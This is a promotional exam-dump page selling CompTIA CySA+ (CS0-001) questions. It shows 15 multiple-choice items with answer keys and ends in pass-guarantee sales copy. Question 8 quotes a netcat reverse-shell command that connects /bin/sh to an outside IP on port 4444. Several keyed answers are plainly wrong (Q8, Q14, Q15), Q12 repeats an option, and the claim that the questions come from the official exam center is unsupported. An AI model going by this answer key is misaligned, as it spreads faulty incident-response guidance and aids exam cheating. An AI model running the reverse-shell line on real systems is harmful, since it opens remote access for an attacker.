# CS0-001 Q&As

CompTIA Cybersecurity Analyst

## Pass CompTIA CS0-001 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

**https://www.certbus.com/cs0-001.html**

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

**QUESTION 1**

Which of the following tools should an analyst use to scan for web server vulnerabilities?

A. Wireshark

B. Qualys

C. ArcSight

D. SolarWinds

Correct Answer: B

**QUESTION 2**

An organization wants to remediate vulnerabilities associated with its web servers. An initial vulnerability scan has been performed, and analysts are reviewing the results. Before starting any remediation, the analysts want to remove false positives to avoid spending time on issues that are not actual vulnerabilities. Which of the following would be an indicator of a likely false positive?

A. Reports indicate that findings are informational.

B. Any items labeled `low\\' are considered informational only.

C. The scan result version is different from the automated asset inventory.

D. `HTTPS\\' entries indicate the web page is encrypted securely.

Correct Answer: B

**QUESTION 3**

A security analyst is performing a review of Active Directory and discovers two new user accounts in the accounting department. Neither of the users has elevated permissions, but accounts in the group are given access to the company\\'s sensitive financial management application by default. Which of the following is the BEST course of action?

A. Follow the incident response plan for the introduction of new accounts

B. Disable the user accounts

C. Remove the accounts\\' access privileges to the sensitive application

D. Monitor the outbound traffic from the application for signs of data exfiltration

E. Confirm the accounts are valid and ensure role-based permissions are appropriate

Correct Answer: E

**QUESTION 4**

A technician at a company\\'s retail store notifies an analyst that disk space is being consumed at a rapid rate on several registers. The uplink back to the corporate office is also saturated frequently. The retail location has no Internet access. An analyst then observes several occasional IPS alerts indicating a server at corporate has been communicating with an address on a watchlist. Netflow data shows large quantities of data transferred at those times.

Which of the following is MOST likely causing the issue?

A. A credit card processing file was declined by the card processor and caused transaction logs on the registers to accumulate longer than usual.

B. Ransomware on the corporate network has propagated from the corporate network to the registers and has begun encrypting files there.

C. A penetration test is being run against the registers from the IP address indicated on the watchlist, generating large amounts of traffic and data storage.

D. Malware on a register is scraping credit card data and staging it on a server at the corporate office before uploading it to an attacker-controlled command and control server.

Correct Answer: D

**QUESTION 5**

A production web server is experiencing performance issues. Upon investigation, new unauthorized applications have been installed and suspicious traffic was sent through an unused port. Endpoint security is not detecting any malware or virus. Which of the following types of threats would this MOST likely be classified as?

A. Advanced persistent threat

B. Buffer overflow vulnerability

C. Zero day

D. Botnet

Correct Answer: A

**QUESTION 6**

A reverse engineer was analyzing malware found on a retailer\\'s network and found code extracting track data in memory. Which of the following threats did the engineer MOST likely uncover?

A. POS malware

B. Rootkit

C. Key logger

D. Ransomware

Correct Answer: A

**QUESTION 7**

A security analyst performed a review of an organization\\'s software development life cycle. The analyst reports that the life cycle does not contain in a phase in which team members evaluate and provide critical feedback on another developer\\'s code. Which of the following assessment techniques is BEST for describing the analyst\\'s report?

A. Architectural evaluation

B. Waterfall

C. Whitebox testing

D. Peer review

Correct Answer: D

**QUESTION 8**

A security analyst is investigating the possible compromise of a production server for the company\\'s public-facing portal. The analyst runs a vulnerability scan against the server and receives the following output:

```
+ Server: nginx/1.4.6 (Ubuntu)
+ The anti-clickjacking X-Prame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can
hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow
the user agent to render the content of the site in a different
fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all
possible dirs)
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or
redirect HTTP code (302)
+ "robots.txt" contains two entries that should be manually
viewed.
```

In some of the portal\\'s startup command files, the following command appears: nc ? /bin/sh 72.14.1.36 4444 Investigating further, the analyst runs Netstat and obtains the following output

```
# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address state
tcp 0 0 *:443 *:* LISTEN
tcp 0 52 ":59482 72.14.1.36:4444 ESTABLISHED
tcp 0 0 *:80 *:* LISTEN
```

Which of the following is the best step for the analyst to take NEXT?

A. Initiate the security incident response process

B. Recommend training to avoid mistakes in production command files

C. Delete the unknown files from the production servers

D. Patch a new vulnerability that has been discovered

E. Manually review the robots .txt file for errors

Correct Answer: E

**QUESTION 9**

A company has been a victim of multiple volumetric DoS attacks. Packet analysis of the offending traffic shows the following:

```
09:23:45.058939 IP 192.168.1.1:2562 > 170.43.30.4:0 Flags[], seq 1887775210:1887776670, win 512, length 1460
09:23:45.058940 IP 192.168.1.1:2563 > 170.43.30.4:0 Flags[], seq 1887775211:1887776671, win 512, length 1460
09:23:45.058941 IP 192.168.1.1:2564 > 170.43.30.4:0 Flags[], seq 1887775212:1887776672, win 512, length 1460
09:23:45.058942 IP 192.168.1.1:2565 > 170.43.30.4:0 Flags[], seq 1887775213:1887776673, win 512, length 1460
```

Which of the following mitigation techniques is MOST effective against the above attack?

A. The company should contact the upstream ISP and ask that RFC1918 traffic be dropped.

B. The company should implement a network-based sinkhole to drop all traffic coming from 192.168.1.1 at their gateway router.

C. The company should implement the following ACL at their gateway firewall: DENY IP HOST 192.168.1.1 170.43.30.0/24.

D. The company should enable the DoS resource starvation protection feature of the gateway NIPS.

Correct Answer: A

**QUESTION 10**

A security analyst, who is working for a company that utilizes Linux servers, receives the following results from a vulnerability scan:

| CVE ID | CVSS Base | Name |
|---|---|---|
| CVE-1999-0524 | None | ICMP timestamp request remote date disclosure |
| CVE-1999-0497 | 5.0 | Anonymous FTP enabled |
| None | 7.5 | Unsupported web server detection |
| CVE-2005-2150 | 5.0 | Windows SMB service enumeration via \srvsvc |

Which of the following is MOST likely a false positive?

A. ICMP timestamp request remote date disclosure

B. Windows SMB service enumeration via \srvsvc

C. Anonymous FTP enabled

D. Unsupported web server detection

Correct Answer: B

**QUESTION 11**

A cybersecurity analyst has several SIEM event logs to review for possible APT activity. The analyst was given several items that include lists of indicators for both IP addresses and domains. Which of the following actions is the BEST approach for the analyst to perform?

A. Use the IP addresses to search through the event logs.

B. Analyze the trends of the events while manually reviewing to see if any of the indicators match.

C. Create an advanced query that includes all of the indicators, and review any of the matches.

D. Scan for vulnerabilities with exploits known to have been used by an APT.

Correct Answer: B

**QUESTION 12**

A security analyst at a large financial institution is evaluating the security posture of a smaller financial company. The analyst is performing the evaluation as part of a due diligence process prior to a potential acquisition. With which of the following threats should the security analyst be MOST concerned? (Choose two.)

A. Breach of confidentiality and market risks can occur if the potential acquisition is leaked to the press.

B. The parent company is only going through this process to identify and steal the intellectual property of the smaller company.

C. Employees at the company being acquired will be hostile to the security analyst and may not provide honest answers.

D. Employees at the company being acquired will be hostile to the security analyst and may not provide honest answers.

E. The industry regulator may decide that the acquisition will result in unfair competitive advantage if the acquisition were to take place.

F. The company being acquired may already be compromised and this could pose a risk to the parent company\\'s assets.

Correct Answer: EF

**QUESTION 13**

A software patch has been released to remove vulnerabilities from company\\'s software. A security analyst has been tasked with testing the software to ensure the vulnerabilities have been remediated and the application is still functioning properly. Which of the following tests should be performed NEXT?

A. Fuzzing

B. User acceptance testing

C. Regression testing

D. Penetration testing

Correct Answer: C

Reference: https://en.wikipedia.org/wiki/Regression_testing

**QUESTION 14**

A security incident has been created after noticing unusual behavior from a Windows domain controller. The server administrator has discovered that a user logged in to the server with elevated permissions, but the user\\'s account does not follow the standard corporate naming scheme. There are also several other accounts in the administrators group that do not follow this naming scheme. Which of the following is the possible cause for this behavior and the BEST remediation step?

A. The Windows Active Directory domain controller has not completed synchronization, and should force the domain controller to sync.

B. The server has been compromised and should be removed from the network and cleaned before reintroducing it to the network.

C. The server administrator created user accounts cloning the wrong user ID, and the accounts should be removed from administrators and placed in an employee group.

D. The naming scheme allows for too many variations, and the account naming convention should be updates to enforce organizational policies.

Correct Answer: D

**QUESTION 15**

A red team actor observes it is common practice to allow cell phones to charge on company computers, but access to the memory storage is blocked. Which of the following are common attack techniques that take advantage of this practice? (Choose two.)

A. A USB attack that tricks the computer into thinking the connected device is a keyboard, and then sends characters one at a time as a keyboard to launch the attack (a prerecorded series of keystrokes)

B. A USB attack that turns the connected device into a rogue access point that spoofs the configured wireless SSIDs

C. A Bluetooth attack that modifies the device registry (Windows PCs only) to allow the flash drive to mount, and then launches a Java applet attack

D. A Bluetooth peering attack called "Snarfing" that allows Bluetooth connections on blocked device types if physically connected to a USB port

E. A USB attack that tricks the system into thinking it is a network adapter, then runs a user password hash gathering utility for offline password cracking

Correct Answer: CD

To Read the Whole Q&As, please purchase the Complete Version from Our website.

# Try our product !

100% Guaranteed Success
100% Money Back Guarantee
365 Days Free Update
Instant Download After Purchase
24x7 Customer Support
Average 99.9% Success Rate
More than 800,000 Satisfied Customers Worldwide
Multi-Platform capabilities - Windows, Mac, Android, iPhone, iPod, iPad, Kindle

We provide exam PDF and VCE of Cisco, Microsoft, IBM, CompTIA, Oracle and other IT Certifications.
You can view Vendor list of All Certification Exams offered:

https://www.certbus.com/allproducts

## Need Help

Please provide as much detail as possible so we can best assist you.
To update a previously submitted ticket: